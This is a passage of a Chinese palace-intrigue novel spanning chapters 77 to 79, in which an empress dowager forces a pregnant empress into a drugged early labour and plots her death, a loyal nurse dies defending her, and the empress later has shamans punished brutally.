梁芸姑接过话头:“记得,闾久须氏王陵里墙壁上那些字。”
明绰点了点头。温峻说过,乌兰人虽然没有成型的文字,但总有些记叙的方式。也许这种方式就是只有巫祝们才知道。
“我让秋桑拿去交给冯濂之了。”
“学官大人怎么说?”
“他说他会试试看。”明绰顿了顿,然后轻声道,“我让秋桑叮嘱他,不能让别人知道。”
明智之举。梁芸姑笑了笑,很欣慰似的。明绰抬起头,又看了她一眼,突然道:“芸姑,你是不是瞒着我什么?”
“我哪有什么事会瞒着你啊?”梁芸姑自如地端起茶,送到了明绰面前。她轻轻歪着头,好像还是不怎么相信似的,但又找不出破绽,只能很孩子气地追问:“你发誓?”
梁芸姑毫不犹豫:“我发誓。”
于是明绰便满意了似的,从她手中接过了茶,不着急喝,先在鼻子底下闻了闻。其实她以前也没这么嗜好茶,但喝不到、又不让喝的时候,就觉得这味道沁人心脾,千金难换。想着梁芸姑竟然跑了这么远就为了给她弄点茶,不由往她身上一黏,又撒起娇了。梁芸姑摸了摸她的头发,然后抬起头,知道她看不见,才终于露出了一丝担忧的神色。
第77章
明绰很快就知道了梁芸姑当天没听懂的到底是什么事情,乌兰徵要在皇后生产前亲自出城,在乌兰郁弗的王陵前,献上白犊、黄驹和白羊各三,人牲数九,再以乌兰亲族七人的鲜血为引,借助祖先的力量,以期神女收回咒诅。
明绰听见“人牲”就不高兴了。
在西海,将战败者掳为奴隶是近千年的传统。但乌兰郁弗入主长安以后,曾下旨废过蓄奴,以期改一改汉人口中这些“蛮夷”行径。仆从不必世代为奴,若有钱赎身脱籍,受到大燕律法保护,王公贵族们也不可以再任意打杀。行军狩猎,也不能再像以前一样用奴隶的命去开道引敌。尤其是祭天祀礼等事,乌兰郁弗是明确下过禁令不能再用“人牲”的。
“你这不是明着要破了大可汗的禁吗?”明绰真是不知道他在想什么,“还去大可汗灵前烧,你可真是孝顺!”
乌兰徵让她说得也有几分羞惭。禁令下了这么多年,王公豢养奴隶之事还是没有彻底禁绝,当初齐木格和步察巴合等人肆意圈地,就是为了夺人土地,将好好的良民纳为家奴,把地产粮食都据为己有。就连如今的汉学学官冯濂之,都曾经以奴隶之身被困于丞相府。乌兰徵也不是不知道,此例一开,又不知道又倒退多少年了。
可是大祭司说得清清楚楚,拜耶哥祭天,神女都不收,若不动用到这样最高规格的祭礼,恐怕难以平息神女的怒火。
乌兰徵握住了她的手,只道:“我不能让你出事。”
“我能出什么事?”明绰耐着性子安抚他,“太医也说了,胎位是正的……”
可是乌兰徵心中还是不安。当时乙满说他的生母勒齐氏是死于神女咒诅的时候,乌兰徵还觉得他睁眼说瞎话。短短两个月,他的态度就已经变成了“宁可信其有,不可信其无”。
他的母亲确实是被普达惹氏逼死的,但不代表神女的咒诅不存在。既然口口相传了这么多年,总不可能完全是空穴来风吧?拜耶哥总不可能平白无故地把自己烧死了吧?明绰感觉得出来,乌兰徵显然有了悔意。正是因为他信了皇后,对神女起了背弃之心,才会招致这样的天罚,所以她越是劝,就越是起反作用。
自小建立的信仰本来就很难推翻,更何况还有拜耶哥在眼前被烧成焦炭的冲击。乌兰徵心里把这个事儿的前后因果扣得严丝合缝,明绰一点儿下手的余地都没有。
明绰都跟他急了:“那我都要生了,你都不在我身边吗?”
“我当然会在你身边,”乌兰徵觉得她不会算日子,“孩子下个月才落地呢。”
明绰没办法了,只好说:“那你去问太后吧!你看太后答不答应!”
她原本想着,段知妘的谏言总还有点分量,她们
俩加起来,乌兰徵总会再好好想想。但令她没想到的是,连太后都没有劝得动乌兰徵。
段知妘亲自来了长秋殿,跟明绰长吁短叹,说不知道贺儿库莫乞给陛下灌了什么迷魂汤,怎么说都不听。说着说着,便十分感伤,觉得自从那些事以后,乌兰徵是再也不听她的话了。她动辄得咎,以后的日子还不知道要怎么过……明绰瞧着她眼泪都掉下来了,只好又反过来先安慰了她一通,拉着手跟她好言好语,最后还亲自挺着肚子,把她送出了门。
到了门口,明绰肚子里的孩子突然又动了起来。如今她八个月的身孕,隔着衣服也很明显能看出来。段知妘伸手在她肚子上抚了抚,突然又道:“你也别担心,如今顾好肚子里的孩子才是最要紧的。陛下那边,我再去劝劝。”
明绰点点头,笑着目送她离开。但是一转身,脸上的笑容便消失得干干净净,回来坐着也不说话,只是忧心忡忡地自己撑着下巴。
梁芸姑试探着问了一句:“想什么呢?”
“你觉不觉得……”明绰顿了顿,眉头锁得更紧了,“有哪里不对?”
梁芸姑心里猛跳,面上不动声色:“皇后是不信她?”
明绰摇了摇头,也不知道该怎么说。可怜示弱,还适时地落上几滴泪,萧盈十几岁就很熟练了,明绰自小已经看得很多了。更何况段知妘也不像这样的人,她被当庭夺去雍州军,关进西觉寺,都没有服过软,后来回宫,明知应该对皇后示好,却还是不冷不热,缓和关系也是送薯蓣来,自己不会主动往上凑。
可是,段知妘毕竟花了这么大的心力来尊佛,肯定不想眼睁睁看着乌兰徵又走回老路上去。更何况这些年为了约束王公们蓄奴,她做了这么多事,没理由现在不管了。
“罢了,”明绰揉了揉眉心,只道,“我想多了吧。”
梁芸姑便没有再说什么。
没过几天,长霄殿里送来了几个刚生过孩子的妇人,是太后为了将要出生的孩子征来的乳母,让皇后自己选。梁芸姑旁敲侧击地说了几句,那意思是最好不要留太后的人在身边。于是几个乳母都被遣了回去,皇后只说还早,不急着现在就找乳母。
太后听了这话,什么都没说。但是以她现在的示弱态度来看,这份沉默反而显得异常。明绰自知驳了她的好意,恐怕是把人得罪了。过两天就找了个机会,屏退左右,只把梁芸姑留下来,摆出了一副审问到底的姿态。她可以无条件地信任梁芸姑,也可以都按照她说的做,但她必须知道为什么。
更何况,她早就觉得梁芸姑有事情瞒着她,这回必须问出来不可。
梁芸姑一开始还是不想承认,但是实在拗不过,最后还是呈上了一封信。
明绰接过来,又闻到封皮上一股檀香:“这什么?”
梁芸姑不敢说什么,只是示意她自己看。
明绰拆了出来,只看了两句就惊得坐直了身子。若不是身子太重,恐怕已经一下子站起来了。信是什么人写的她不知道,但此人回复,说已经把“消息”递到了谢府,中书令谢聿亲自带着此人进宫面圣。陛下已知长安秘事,“欲令袁氏领兵”。写信人说他“幸不辱命”,望贵人安心。
明绰抬起头:“你做了什么?”
梁芸姑一眼不发地跪在了地上。明绰到底撑着后腰站了起来,脸已经白了。她往前走了两步,低头看定了梁芸姑的脸,又问了一遍:“皇兄为什么要袁氏领兵?他们领兵要去哪里?”
梁芸姑低着头,只道:“长安。”
明绰猛地闭上了眼睛,甚至原地晃了一晃。梁芸姑下意识想伸手扶她,但是明绰一下子甩开了她的手。
“你疯了?”明绰压低声音,“洛阳未平,拔拔真未除,皇兄贸然出兵,陛下会怎么想?——袁綦已经闯过一次祸了!你要我如何自处啊!”
梁芸姑抬起头:“若无重兵相迫,皇后的安危如何保证?”
明绰气得险些一个仰倒。为什么她和乌兰徵都是一样,都觉得她生这个孩子会有危险。一个觉得有人会害她,另一个则是觉得会有什么神女的咒诅。全都疯了心,失了理智一样,做的都是什么事?
“没有人敢对我怎么样!”明绰几乎是从牙缝里挤出了几个字,“乙满和贺儿库莫乞只是借题发挥,他们就是不会对我怎么样,才——”她没耐心了,急得跺了跺脚,“我跟你说过的呀!”
梁芸姑:“我防的不是乙满和贺儿库莫乞。”
明绰愣了愣,然后很快反应过来:“你是说太后?”
梁芸姑以沉默回应,明绰气得原地走了两圈,梁芸姑便道:“皇后自己也觉得不对劲了……”
“她若当真有所图谋,”明绰没忍住提高了声音,“那你把袁氏大军都招来了,岂不更加落人口实!你这不是……”
“所以皇后不知此事!”梁芸姑也抬高了声音,这还是她第一次跟明绰争执起来,“陛下问起来,我一人承担!”
明绰不由退了一步,目瞪口呆地看着她,眼泪迅速盈满了眼眶。
“你觉得我会……”她噎住了,不得不握紧了拳头抵抗哭出来的冲动,她现在不是那个可以跟梁芸姑撒娇的小孩子,她要有皇后的威严,可是她忍不住,“你觉得我会看着你……”
梁芸姑站了起来,眼眶也红了。她张开手把明绰搂进了怀里,明绰呜咽了一声,习惯性地想把脸埋进她的颈窝,但又克制住了自己,坚决地把她推开。
“冬青!”明绰提高声音,叫了一声。冬青应声跑了进来,原本脸上还是轻轻松松的神情,一进来看见这情形,顿时吓得僵在了那里。
“皇后……?”冬青看看她,又看看梁芸姑,“怎么……?”
“准备轿辇,”明绰用力地把脸颊上的泪痕擦掉,“我要去剑器阁见陛下。”
冬青吓了一跳,下意识地看她的肚子。明绰现在几乎已经不出门,就算是坐轿辇,也是颠得很难受的。有事都是陛下上门。
“我……我这就去找陛下。”
“是我去!”明绰重复了一遍,“还不快去!”
冬青吓了一跳,下意识地又看向梁芸姑,梁芸姑给她使了个眼色,冬青明白了什么,赶紧跑了下去。
明绰有些颓然地重新坐了下来,手里还紧紧地攥着那封信。梁芸姑轻声又唤了一声:“溦溦……”
明绰没有看她:“我现在就去跟陛下解释,只求陛下能看在孩子的份上……”
然而冬青没有去准备轿辇,她立马派了人去剑器阁通报,不多时就传回了消息,说陛下今天大清早就带着西海权贵们出城祭天了。就是怕皇后反对,有意瞒着长秋殿的。明绰听完就变了脸色,竟然非要他们立刻准备马车,她要亲自追出城。这下长秋殿里的人都吓得跪了一地,梁芸姑急得磕头,只求她千万不能这样不顾惜自己和孩子。
里头闹成一团,竟然也没听到外面来了人。直到段知妘含着笑意问了一句:“这是怎么了?”才惊破了殿内闹闹嚷嚷的哀求和明绰的坚持。
段知妘的视线落到了梁芸姑脸上,还有她额头磕出来的一片红肿,很戏谑地笑了一声:“哟。梁夫人也有做错事的时候?”
明绰立刻伸手拉了梁芸姑一把,示意她站起来,那封信顺势就被她重新塞进了梁芸姑手中。然后她
飞快地整理出了一个笑容:“太后怎么来了?”
“在外面就听见了,皇后这又是何必呢?”段知妘没回答她的话,反而摇了摇头,“大可汗的王陵那么远,来来回回怎么也得三天,你哪儿还经得起啊?”
段知妘嘴上这样说,眼睛里却是笑着的。她看起来心情很好,好得明绰心里不禁打了个突。
她带了很多人过来,明绰突然意识到。穿的都是宫装,瞧着只是排场大些,但随着他们说话,不知不觉就里里外外站满了视线内,便带来了一股十分不祥的压迫感。梁芸姑往前一步,拦在了明绰前面。
“我一片好心。”段知妘突然道,“你要是不把乳母都退回去,陛下倒也不必这么着急出城祭天。”
明绰下意识地伸手抚了抚肚子,回道:“孩子落地还有段日子,不用这么早……”
段知妘一笑:“你不知道吗?孩子早一个月生也是活得成的。”
梁芸姑:“这是什么意思?”
段知妘轻轻地把头一歪,几个人突然冲了上来。明绰尖叫了一声,已经被两个粗壮妇人一左一右地摁住了手臂,控制在原地动弹不得。身着宫装的随从们从袖中掏出了棍棒、佛杵等物,没有一件兵刃,但都是极重的钝器。几下就把明绰身边的人击倒在地。梁芸姑挣扎着要扑上来,后脑被重重一击,倒在地上不动了。明绰不顾一切地想挣开,动作太大,腹中立刻抽了一下似的疼。段知妘突然“嘘”了一声,上前了一步,安抚似的摸了摸她的脸。
明绰抬起头看了她一眼:“是你。”
到处散播神女的咒诅,挑拨西海权贵们一步步行动,预先在乌兰徵心中埋下了怀疑的种子,都是她。梁芸姑是对的。
“贺儿库莫乞和乙满什么时候也肯为你所用了?”
段知妘笑着弯腰,与她视线平齐:“他们只是不喜欢你。”
明绰看着她,然后段知妘很好心为她解惑似的:“你看,你已经变成新的我了。”
她重新站直了身子,明绰惊恐地看着有个人从外面走了进来,手中的托盘里盛着一碗药。段知妘先是伸手把药端了起来,然后又突然改了主意,放回了原位。
明绰的声音已经控制不住地颤抖起来,她紧紧抱着自己的肚子,好像这样就能保护她的孩子。
“等陛下回来,你怎么跟他解释?”明绰强撑着镇定问她。
段知妘笑了:“这就不用你替我操心了。”
反正乌兰徵已经信得七七八八,神女的咒诅一定会降临了。整整半年了,她小心翼翼地控制着进退,在贺儿薄祖孙面前虚与委蛇,在乌兰徵那里小心进言。她的态度不能一下子和以前截然不同,但又要恰到好处地抓住时机……怎样屈辱漫长的半年啊。
段知妘抬了抬手,端着托盘的妇人拿起那碗药,逼近了明绰。明绰被人摁住了上半身,被迫跪在了地上。
“你尊佛,归汉,这么多年的心血都付诸东流……”明绰艰难地摇着头,不肯就范,还想着跟段知妘说话,“你为何要这么做!你要眼看着第二个齐木格掌权吗!”
“怎么会呢?”段知妘笑得更开心了,明绰问到了她最得意的一石二鸟之计,于是她示意灌药的人让开,低头看着她的眼睛,享用她最后的胜利,“人牲都烧了,巫祝们信誓旦旦地说了咒诅已经解除,皇后却还是出事了,你觉得依陛下的性子,这些人会是什么下场?”
明绰说不出话来,绝望地抬着头。段知妘突然伸出手,又摸了摸她的脸。
“我没有想过要害你。”她的语气竟是前所未有的真诚,“你要是肯让别的女人给陛下生下太子,你我之间不必走到这一步。”
她退开了一步,对拿药的人下了最后的命令:“灌。”
第78章
“你姓梁?”
她跪在地下,把头低得更下了。这个冬天好冷,她的膝盖抵在上阳宫的砖地上,一开始还疼,一会儿就已经感觉不到了。年轻的皇后手里翻着她写的史论,唇边突然露出了一个笑意:“哪个梁?”
她的母亲跪在旁边,浑身发抖。她不该递这篇史论的,母亲从一开始就不支持。新皇后出了题,要挑选有才学的女官到身边——可是关掖庭的人什么事?她的祖父是谋逆的大罪,梁家世世代代都不可能翻身了,这孩子怎么就是不明白……
梁芸姑突然抬起头,梗直了脖子,报出了祖父的名字:“河阴梁氏的梁。”
谢拂霜抬起头,看了她一眼。然后又不为所动地低下头,好像“河阴梁氏”几个字对她来说毫无意义。她又翻过一页,只说了一句:“字写得不错。”
梁芸姑只能继续低下头,跪在地上。谢拂霜看得很慢,她统共不过写了千字,谢拂霜却足足看了有一炷香的功夫,然后才把她写的史论放到了一边,又开始看另一份。
“多大了?”
“十五。”
“那我们同岁。”
梁芸姑低下头:“奴婢不敢。”
“这有什么好避讳的。”谢拂霜笑了,“人又改不了自己什么时候出生。”
皇后是意有所指吗?梁芸姑不知道该怎么回应,只好讷讷地又应了一声。然后她听见谢拂霜说:“都是什么陈芝麻烂谷子的事了,怎么还在掖庭受苦。去领些钱,出宫自寻生路吧。”
她的母亲猛地吸了一口气,然后颤抖着磕头。梁芸姑跪在地上,心中竟然升起了一股无法抑制的失落。可是这已经是天大的恩典了,母亲用手肘搡了她一下,让她谢恩。梁芸姑只好给皇后磕了一个头,跟着母亲站了起来,行礼告退。
“我说的是你母亲。”谢拂霜抬起手,朝她说话的方向一指,“你留下。”
梁芸姑不敢相信:“皇后?”
谢拂霜从手中的答卷里抬起头,朝她露出了一个笑容。
“以后就留在我身边,愿意吗?”
梁芸姑不记得自己回答了什么,她又跪下来,用力地朝皇后磕头。一定是她用的力气太大了,她的头好痛。谢拂霜的笑声轻轻地荡起来,然后又很快地消散,像是落进了水里的一滴墨。她怎么会“看见”笑声的消散呢?梁芸姑努力地晃了晃头,更猛烈的疼痛从整个头部传来,像是有什么尖锐的东西在凿她的头。然后她意识到,那个尖锐的东西是明绰痛苦的惨叫。
梁芸姑猛地坐起来:“溦溦!”
一只手在黑暗中伸了过来,颤抖着:“姑姑?”
梁芸姑听出了这个声音:“冬青?”
吓坏了的女孩儿凑过来,抱着她哭了起来。但是梁芸姑没有心思管她:“皇后呢!”
又是一声惨烈的痛呼,就从不远处传来,梁芸姑甚至能听到有人让皇后用力的声音,不知道是产婆还是太医。冬青抽抽噎噎的,说皇后已经生了很久了。梁芸姑撑着她的手想让自己站起来,但是脚踢到了一具柔软的身体,秋桑无力地呻|吟了一声,爬不起来。梁芸姑低下头摸索了一下,摸到了秋桑满脸都是已经干涸的血。
“冬青,”梁芸姑借着透进来的微弱光源攥住她的手,“你伤得怎么样?”
“我没事。”冬青吸了吸鼻子,“那一棒打在了我肩上。”
“能跑吗?”
“跑……?”冬青愣了一下,然后马上道,“能!”
“好。”梁芸姑跟她互相搀着站起来,“去西觉寺找慧玄法师,告诉他发生了什么……”
“可是外面有人看着,”冬青又出了哭腔,“他们有刀……”
梁芸姑没说话,然后又是一声拖得极长的惨叫。梁芸姑的手一下子攥紧了冬青的手,用的力气那么大,冬青没忍住“嘶”了一声。然后梁芸姑冷静而又清晰地对她说:“跟在我身后。”
“姑姑……”
“一出去就跑。”她一个字一个字地交代,“不要回头,一直跑去西觉寺……”
明绰的声音凄厉地响起来,呕出了心魂一般,绝望地向这世上最后能保护她的人求救:“母后——!”
然后猛地断绝。
段知妘突然浑身一颤,睁开了眼睛。这个孩子生得比她想得久,明绰是头胎,即使下了猛药催产,还是太慢。痛苦被拉得太长,她只是在外面听着,都觉得浑身不舒服。这一声叫得太凄厉,段知妘一颗心猛地吊起来,不由站了起来,想直接闯进去。然后便传来了一声微弱的、猫叫似的婴儿啼哭,段知妘反而犹豫起来,顿住了脚。
如果不是儿子……如果……
“太后!”产婆走出来,手里抱着刚剪完脐带的婴儿,掩饰不住脸上的激动,“是皇子!”
段知妘一下子长长地吐出一口气,忍不住笑了出来,松了口气地重新坐倒。察察扶了她一把,轻声在她耳边问:“那准备的东西是不是……?”
段知妘脸上的笑意微微凝结,好一会儿没有说话。产婆把孩子抱去用温水洗净,那孩子没足月,小得可怜,哭也没什么声音。一股异样的感受突然从心里涌了上来,段知妘伸手摁了摁察察的手腕:“等一会儿。”
她抬起头问产婆:“皇后怎么样了?”
“没什么力气了,”产婆说,“但还醒着……”
到底是年轻。段知
妘笑了笑,她生乌兰辉的时候很顺利,没有像明绰一样疼这么久,但还是马上就昏睡过去了。又或者,不是因为年轻,是从绝望深处迸发出来的意志力。她也知道,她的儿子出生了,她就该死了。
“把孩子抱进去。”段知妘突然说,“好歹让她看一眼。”
产婆不敢违抗,把已经包在襁褓里的婴儿抱起来,重新走了进去。段知妘招了招手,察察这才把准备好的药端上来。她不会给皇后下毒的,那样就太明显了。但是产后体虚,她只需要让皇后不停地流血,就够了。
段知妘等了一会儿,这才道:“你进去吧。”
察察应了一声,端着药走了进去。段知妘坐在那里没动,本该是她亲自进去的,但她没有站起来。不知道为什么,她好像突然听见了乌兰辉叫“姐姐”的声音。
段知妘一下子站了起来:“辉儿?”
但是乌兰辉不在这里。她好好地在长霄殿里,被保母哄着睡着了。段知妘站在原地,竟有些无所适从。然后便是“当啷”一声脆响,接着是血房里异口同声的惊呼,察察急道:“皇后不要!”
段知妘立刻跑进去,只见那碗药已经被掀倒在地,察察的手鲜血直流,跪倒在地。产婆的伺候的人都吓得缩在后面,唯独明绰一个人抱着孩子,缩到角落里,因为实在没力气,只能狼狈地靠着墙,但再怎么狼狈,她还是站着,手里举着那把用来剪脐带的剪刀,尖刃危险地对着孩子脆弱的脖子。
“你疯了?”段知妘简直不敢相信她看到了什么。
明绰闻言笑了一声,披头散发,衣衫不整,甚至还有血迹沿着腿往下淌,眼神里是段知妘从未见过的疯狂。
“我是疯了。”她的声音哑得可怜,漫长的痛苦像是把她整个人都碾碎了一遍,她站在那里,像半只脚已经伸进阴曹的鬼,要把他们一起拖下去,“你要我的命,那我就把我的儿子一起带走……”
她手上用力,剪刀的尖刃抵在了孩子的皮肤上。可怜他根本不明白危险,还“咿咿呀呀”地尖刃下舞着手。
“你……”段知妘牙关咬紧,“萧明绰,虎毒尚不食子!”
“那是因为你还没有把刀架到那头老虎的脖子上。”
段知妘犹豫片刻,突然道:“摁住她。”
她看准了明绰不过是虚张声势,但是明绰似乎知道她是怎么想的,手起刀落就在孩子的手臂上划了出一条血痕。段知妘吓得连声喊:“住手!快住手!”
明绰这才不动了,孩子慢半拍地感觉到了疼,爆发出了响亮的哭声。
段知妘瞪大了眼睛:“天下哪有你这样的母亲!”
“我都活不成了,”明绰根本不为所动,“还在乎这个?”
“你伤了这孩子,等陛下回来,你怎么跟他交代?”
“先有命交代再说吧。”明绰把头靠在身后,省着力气,垂着眼睛看她。
段知妘看着她这副样子,突然没那么惊慌了,只道:“好啊,那就拖啊。”
明绰微微变了脸色,看着她。段知妘笑了,声音压得很低:“你很累是不是?孩子都要抱不动了,是不是……?行了,何必逞这个强呢?你没力气了,撑不到陛下回来了……”
“她撑不到,还有我。”
明绰猛地抬起头,看见梁芸姑不知道什么时候已经站到了门口,手中不知道哪里多出来了一把短刀,刀刃上还淌着血。血房里没有一个人带了兵刃,一时之间都不敢拦她,察察下意识地把段知妘护到了身后,但是梁芸姑也没有朝她动手,只是快步走向了明绰。明绰无力地伸出手,一下子就软倒了下来:“芸姑!”
梁芸姑把她撑起来,在她耳边飞快地说:“冬青已经跑出去了……撑住。”
明绰含着泪点了点头,浑身都抖得厉害。梁芸姑伸手摸了一下她的脸,眼泪已经落了下来,又道:“溦溦不怕。”
明绰摇了摇头:“我不怕。”
脚步声这才从外面传过来,奉命守着梁芸姑的侍卫迟疑地站在外面,不敢随意进血房。段知妘恼怒地低喝了一声,那人才连滚带爬地进来,臊眉耷眼地汇报,跑了一个,没追上。
段知妘反手就给了他一个耳光,梁芸姑让明绰坐在地上,自己站起来,拦在了她的身前。明绰抬起头,突然看到她腰侧好大一片血渍,已经浸透了衣服。
段知妘转过头来,有些失控地喊:“现在去叫陛下也来不及了!”
“谁说我们是去叫陛下了?”梁芸姑举着刀,突然笑了一声,从怀中取出了一封已经皱巴巴的信,递了出去。她的手抖得厉害,信上也沾了血。段知妘脸色铁青,推了身边的产婆一把。那妇人颤颤巍巍的,生怕梁芸姑的刀落下来,拿了信就赶紧跑回来交给了段知妘。梁芸姑看着段知妘的脸色慢慢地变了,这才慢条斯理道,“袁氏兄弟已经陈兵风陵渡口,冬青只要跑出去,放个信号,大军就会往长安来了……太后才要想想,该怎么跟陛下交代吧!”
段知妘一把把信揉成一团:“虚张声势!若有大军异动,我怎么会……”
“皇后不想让你知道的事,你当然不会知道!”梁芸姑厉声打断她,“今时不同往日了,太后,你说呢?”
段知妘咬紧了牙关,似是在掂量这里面有多少真实性。风陵渡口离长安十五日的路程,他们要派人去报信,绝不只是“放个信号”这么简单,除非皇后沿途都安插了自己的人,只要长安有信号,就会一个驿站一个驿站地往下传,她根本来不及阻止——但这不可能吗?要做到这种安排,对皇后来说易如反掌。
段知妘再一次低头,把信上每个字都看了一遍。萧明绰竟然早已想到要向建康求援,这说明她好几个月之前就已经起疑了,而段知妘直到这次她退回乳母才意识到自己露了破绽。萧明绰本来应该“难产而死”,就算建康那边再不高兴,也不能怪到大燕头上,毕竟女人生孩子就是九死一生的。可是现在,萧明绰已经把她这条后路断了。就算她能哄过乌兰徵,萧盈也会强迫乌兰徵处置太后来为他妹妹的死负责。
棋差一着。竟然就差了这么一着。
段知妘深吸了一口气,摇了摇头:“有个好兄弟就是不一样啊。嫁到天涯海角,他都能替你撑腰。”
明绰冷笑一声:“太后既然看中了我能为大燕带来的好处,就早该想到这些好处都是有代价的。”
段知妘不紧不慢地把染了血的信纸重新叠好:“你就不怕我去跟陛下说,发现你私通母国,对大燕不利,把你就地诛杀了?”
梁芸姑紧张地把刀举得更高一些,但是明绰一点没有被吓到的样子,平静道:“或者,太后今夜从来没有出现在长秋殿。是我自己没留心,不慎早产。大雍的军队为何会出现在风陵渡口,自有我去跟陛下解释,跟太后无关。”
段知妘眉毛高高地一挑,意外地看着狼狈跪坐在地的女人。萧明绰真的会这么轻易放她一马吗?还是为了先活下来,信口许诺?等到乌兰徵一回来,她就会马上反咬一口?
明绰似是知道她在想什么,又道:“信已在太后手中了,太后随时可以去告诉陛下,我是如何私通母国,对大燕不利的。”
段知妘不由咬了咬牙。这样的对手太可怕了,她应该一击致命,若这次失手,以后萧明绰把她当成敌人,会更不好办。可是她连自己亲儿子的命都不在乎,段知妘今日无论如何都不可能活着抢走那个孩子了,到时候她要跟乌兰徵解释的事情就太多了。
“好,”段知妘终于退了一步,“你赢了。”
明绰一句话都没说,梁芸姑也还是举着刀,直到段知妘带着所有的人都离开了,梁芸姑才软倒下来,刀“当啷”一声,落在了她的脚边。
“芸
姑!”明绰艰难地往前膝行一步,伸手去摸她腰上那块血渍。血还在流,像是什么活物,飞快地爬满了她半个身体,而她脸上的血色才在飞快地消失。明绰想喊,却哑得根本出不了声。她怀里的孩子还在哭,梁芸姑露出一个笑容,轻声道:“嘘,别吓着孩子……”
明绰泪如雨下,还在徒劳地叫人:“去叫太医……”
梁芸姑摇了摇头:“都伤得不轻,就冬青一个还能动,跑出去了。”
明绰:“她真的去调兵了?”
梁芸姑苦笑了一声:“兵马哪里会来得这样快?哎呀……溦溦真是聪明,我随口说一句,你就知道该怎么做……”
明绰想摁住她腰上的刀伤,却把她碰疼了,梁芸姑只好把她的手抓起来,握在自己手里,继续往下说:“我让冬青去西觉寺找慧玄了。溦溦,这次多亏了慧玄提醒,才能早做准备……你不要再计较以前的事,此人可用……”
“好,”明绰点着头,“我用他,我用他!以后你说什么我都听你的……”
梁芸姑笑了,低下头看着已经哭累了的孩子。明绰到底没什么力气,划也就是划了一道很浅的口子。但毕竟是新生的婴儿,又是早产,瞧着可怜,梁芸姑皱起眉,半埋怨似的:“怎么这么狠的手啊……”
明绰说不出话,梁芸姑却又道:“狠一点儿好,心狠了,才斗得过他们。我就放心了。”
“你不要放心……”明绰耍赖一般,“你不许放心!”
梁芸姑似是连眼睛都睁不动了,却道:“我听见你叫母后了,你该多疼啊……”
是疼。明绰从来没有经历过那种疼痛,可是跟现在比起来,明绰竟然觉得生产的痛苦都不值一提。
“没事,没事……”梁芸姑安慰似的,还想把她搂在怀里,跟小时候一样安慰她,“不疼了,过去了,孩子多漂亮啊……”
“来人啊……”明绰挣扎着,还在叫,她想爬起来,想去叫人,能不能有个人来救救芸姑,为什么她站不起来?为什么她喊不出声音?
梁芸姑已经闭上了眼睛,但嘴角却笑着:“拂霜看见这个孩子,也会高兴的……”
她甚至有些迫不及待,想把这个消息去告诉拂霜。她已经很久没有见过拂霜笑了,这一次她也许会笑一笑,就像当年,她忙不迭跪下谢恩的时候一样。
明绰感到她的身体突然变得很重,原本想要给她的安慰的手臂无力地坠下来,压垮了她的肩膀。但是明绰没有挣脱出来,她努力保持着被她抱着的姿势,感觉她的体温还没有消散。孩子在她怀中攒起了力气,又哭了出来。明绰低头看了他一眼,不知道应该拿他怎么办。在她成为了母亲的这一天,她再一次失去了自己的母亲。
第79章
盛夏酷暑,殿中冰鉴比平日里少,热得人喘不过来气。殿中悄然无声,只有皇后身边的宫人轻轻打扇激起的风声。有人跪在地下,偷偷摸摸地把茵垫取走,直接用膝盖接触砖地,半个身子伏下去,好多沾一些凉气。
明绰没抬头,只道:“诸位大人不必这样拘着。”
底下跪着的朝臣们纷纷谢恩,如释重负似的都公开拿走了茵垫,唯有冯濂之仍在茵垫上跪得笔直。明绰从手里的公文里抬了抬头,看见众人都忍不住有些躁意,又是松襟又是扶冠的小动作不断,唯独他,虽也是满头满脸的细密汗珠,但岿然不动,不知冷热。
明绰轻轻扭过头吩咐:“再搬几个冰鉴来。”
冬青劝道:“皇后月子里没养好,还是别贪凉。”
明绰:“那就把冰鉴搬到几位大人身边去。”
冬青得了令,朝底下侍立的宫人们使了个眼色。明绰看着宫人们有条不紊地跪坐在冰鉴另一头,手里用绢扇把冰上的凉风拂到诸位朝臣身上,这才轻轻放下了手里的公文:“这就是你们查出来的结果?”
这话倒比多少冰鉴都凉,偏偏又听得人越发汗出如浆。几个人低着头,讷讷地应了两句,都不敢说什么。
就在皇后生产之前,巫祝拜耶哥自焚祭天,让陛下相信神女的咒诅一定会降临在皇后身上,被鼓动着出城去先帝王陵前祭祀。结果路上遇到了难得的暴雨,耽搁了一天。西觉寺的慧玄法师一人一骑追上御驾,陛下立刻就抛下了大队人马,策马折返。
等所有人都回到长安的时候,宫中已传出消息,皇后平安产下皇长子,取名乌兰晔。
大祭司第一时间求见了陛下,舌灿莲花地说了一大通话,但陛下的脸一直阴沉着,看不出多少初为人父的喜悦。大祭司还想着,他毕竟准确预言了皇长子,陛下得偿所愿,也许不会追究。
但该来的还是来了。
皇长子满月的时候,汉学学官冯濂之献了一份译文给皇后,据说是拜耶哥留下的手札,以巫祝们沟通神灵和先人魂魄时所用的特殊文字写就。冯濂之钻研多日,译出了一个大概。拜耶哥指控,散播神女咒诅一事是大祭司早有预谋,为了将日渐笃信佛教的陛下“拉回正轨”,也为了能趁机除去她这个对手。
自然有人不服,大司马抗辩说,没人看得懂巫祝的文字,冯濂之是有意陷害。陛下把此事全权交给了皇后处理,皇后那时刚出了月子,还是病歪歪的,但雷厉风行,毫不手软,当即就把大祭司和手下的巫祝全部关了起来,命冯濂之带头,严查严审,一定要个结果出来。
皇长子早了一个月出生,当时有风声传出来,说他胎黄严重,身体孱弱,怕是活不成了。有个巫祝还想以此来吓唬皇后,说这都是不敬神的后果。皇后就下令拔了他的舌头,挖了他的眼睛,丢在大祭司的囚室中,强迫他们日日相对。不过两日,大祭司试图自尽,被救了回来。皇后便下令把大祭司吊了起来,水食都有人负责喂进去,让他求生不得,求死不能。
所有人都觉得,皇后变了。从前她一向是行事更和缓的那个,如今却比段太后还要心狠手辣。把大祭司逼到这个份上,她仍不肯罢手,还是令冯濂之查——还能查什么呢?无非就是冲着大祭司背后的西海王公去的。
明绰见他们答不上来,也没逼迫,挥挥手让不相干的人都退了下去,只留下了冯濂之。
“本宫听说,大司马前日里去拜会冯大人了?”
冯濂之垂着头,倒是供认不讳:“确有此事。”
明绰把手里那份拈轻怕重的结案汇报直接朝他脸上扔过去:“这也是大司马的意思?!”
冯濂之没躲,跪直了挨上一下,伏地请罪,一边斟酌着字句道:“臣以为,皇后当日保举臣,就是为了让大司马也放心。”
明绰看着她亲手从烂泥里拉出来的人,好一会儿没说话。
这次哄得乌兰徵险些公然违抗先帝的遗训,当然不可能以大祭司一人之力就做到。但事情出了,贺儿库莫乞和乙满都适时地把头缩了回去,至于太后到底在其中发挥了多少作用,就更加不为人知。拜耶哥生前只能看到教派内部的险恶,她的手札也只能指控到年老的大祭司,甚至都没有提到贺儿库莫乞。
